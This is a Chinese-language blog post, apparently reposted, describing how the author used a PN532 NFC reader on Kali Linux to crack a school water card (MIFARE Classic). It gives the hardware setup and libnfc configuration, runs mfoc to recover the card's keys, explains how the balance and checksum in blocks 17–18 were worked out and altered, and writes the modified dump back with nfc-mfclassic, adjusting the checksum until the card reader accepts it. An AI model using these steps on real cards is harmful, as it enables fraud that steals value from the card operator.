Linux下pn532板子測試學校水卡


0x01買板子

最便宜的板子pn532,需要買usb轉串口的設備,對於kali-rolling,好像是通殺的,無論是PL2303,ch34X,FT232RL(沒測試,這個更高端應該沒問題),cp2102。
把排針(不是電子專業的,不懂學名)焊接到pn532上,用杜邦線將兩個板子連接,hardware is ok.

0x02安裝軟件

需要安裝libnfc,可到githu上下載,解壓后

cd xxx
./configure
make
sudo make install 

新建`/usr/local/etc/nfc/libnfc.conf

abc@kali:/usr/local/etc/nfc$ cat libnfc.conf 
#allow_autoscan = true
device.connstring = "pn532_uart:/dev/ttyUSB0"

安裝mfoc、mfcuk,好像要編譯下,因kali自帶,這里不再說明。

0x03開始

連接設備,開工,拿水卡試下

abc@kali:~$ nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): 71  3d  b3  1e  
      SAK (SEL_RES): 08  

可以識別, 安裝正確.
解碼

abc@kali:~/nfc$ mfoc -f key -O tmp.mfd
...
Auth with all sectors succeeded, dumping keys to a file!
...

搞定密碼

0x04分析數據

這里的數據較為簡單, bock17和18儲存金額和校驗位, 找到校驗位的規律為循環出現, 因此, 基於原有數據, 如00 00對應5a 78, 金額加上1020, 得到10 20對應FC 03, 修改結束.
寫入到原卡或者空白卡片

abc@kali:~/nfc$ nfc-mfclassic w b tmp.mfd tmp.mfd

0x05

測試, 拿到卡機上測試,發現無法讀取, 回到04, 將校驗位加減1,重新寫入, 測試ok.

0x06

m1卡已經完全失去了安全性, 犯罪成本之低,,,,,,


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM